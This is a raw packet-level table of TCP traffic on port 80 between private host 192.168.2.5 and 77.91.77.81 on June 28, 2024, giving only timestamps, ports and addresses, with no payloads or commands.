Jun 28, 2024 13:36:23.898273945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.898291111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.898314953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.898456097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.902904987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.902920961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.902991056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.903007984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.903026104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.903028011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.903055906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.906127930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.907773972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.907795906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.907809973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.907824993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.907898903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.907898903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.912628889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.912642956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.912657022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.913980007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.007492065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.007540941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.007559061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.007580996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.007611990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.007921934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.007940054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.007955074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.007962942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008054018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008054018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008218050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008234024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008249044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008269072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008270025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008301973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008341074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008553028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008569002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008585930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008604050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008610964 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008622885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.008641005 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008675098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.008675098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.009097099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009136915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009155035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009181976 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.009238958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.009263992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009298086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009318113 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.009354115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.009887934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009905100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009928942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009944916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009963036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.009972095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.009999990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.010061026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.010623932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.010641098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.010658026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.010672092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.010689974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.010709047 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.010735989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.010735989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.011178017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.011198997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.011221886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.011236906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.011256933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.011261940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.011261940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.011286974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.011311054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.012048960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.012064934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.012082100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.012106895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.012134075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.012140036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.012150049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.012728930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.012867928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.094100952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094132900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094147921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094201088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094212055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.094218016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094233990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.094255924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.094290972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094299078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.094306946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094321012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.094348907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.094377995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.124906063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.124922037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.124937057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.124977112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.124977112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125073910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125088930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125147104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125231981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125287056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125303030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125314951 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125334978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125349998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125351906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125370979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125390053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125392914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125405073 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125407934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.125428915 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.125469923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127194881 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127218962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127232075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127263069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127263069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127274990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127310991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127326012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127348900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127363920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127366066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127382994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127401114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127403975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127403975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127418995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127448082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127477884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127484083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127499104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127516985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127523899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127536058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127552032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127562046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127562046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127571106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127588987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127593994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127605915 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127624035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127716064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127729893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127743959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127762079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127774954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127779961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127804041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127816916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127824068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127844095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127867937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127883911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127883911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127903938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.127926111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127926111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.127939939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.128010988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.128025055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.128041029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.128066063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.128109932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.129915953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.129945040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.129959106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.129976988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.129987955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.129998922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130017042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130021095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130037069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130044937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130074978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130079985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130079985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130109072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130125046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130141020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130141020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130152941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130215883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130230904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130245924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130263090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130278111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130285978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130333900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130353928 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130373955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130388021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130403042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130419970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130438089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130444050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130444050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130456924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130542994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130621910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130686045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130703926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130719900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130764008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130764961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130779982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130794048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130819082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130819082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130836964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130840063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130852938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130867958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130881071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.130899906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130899906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.130930901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.133219957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.133284092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180550098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180661917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180696964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180711985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180727005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180744886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180746078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180758953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180780888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180784941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180804968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180819035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180819035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180823088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180838108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180855036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180881977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180881977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180927038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180944920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180962086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.180963993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.180975914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.181003094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.181087017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.181102991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.181149006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.181149006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211332083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211355925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211374044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211383104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211390018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211409092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211417913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211417913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211426973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211452007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211467981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211488962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211488962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211493969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211523056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211529970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211563110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211574078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211582899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211590052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211605072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.211652040 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.211652040 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.243891001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.243964911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244004011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244020939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244036913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244050980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244066954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244081020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244083881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244096994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244098902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244113922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244123936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244138956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244152069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244153976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244169950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244193077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244193077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244227886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244369984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244385958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244400024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244421005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244431019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244431019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244435072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244450092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244462013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244462013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244467020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244488955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244488955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244503975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244518042 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244518995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244553089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244601011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244692087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244766951 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244790077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244841099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244841099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.244880915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244931936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.244942904 CEST	49721	80	192.168.2.5	77.91.77.81
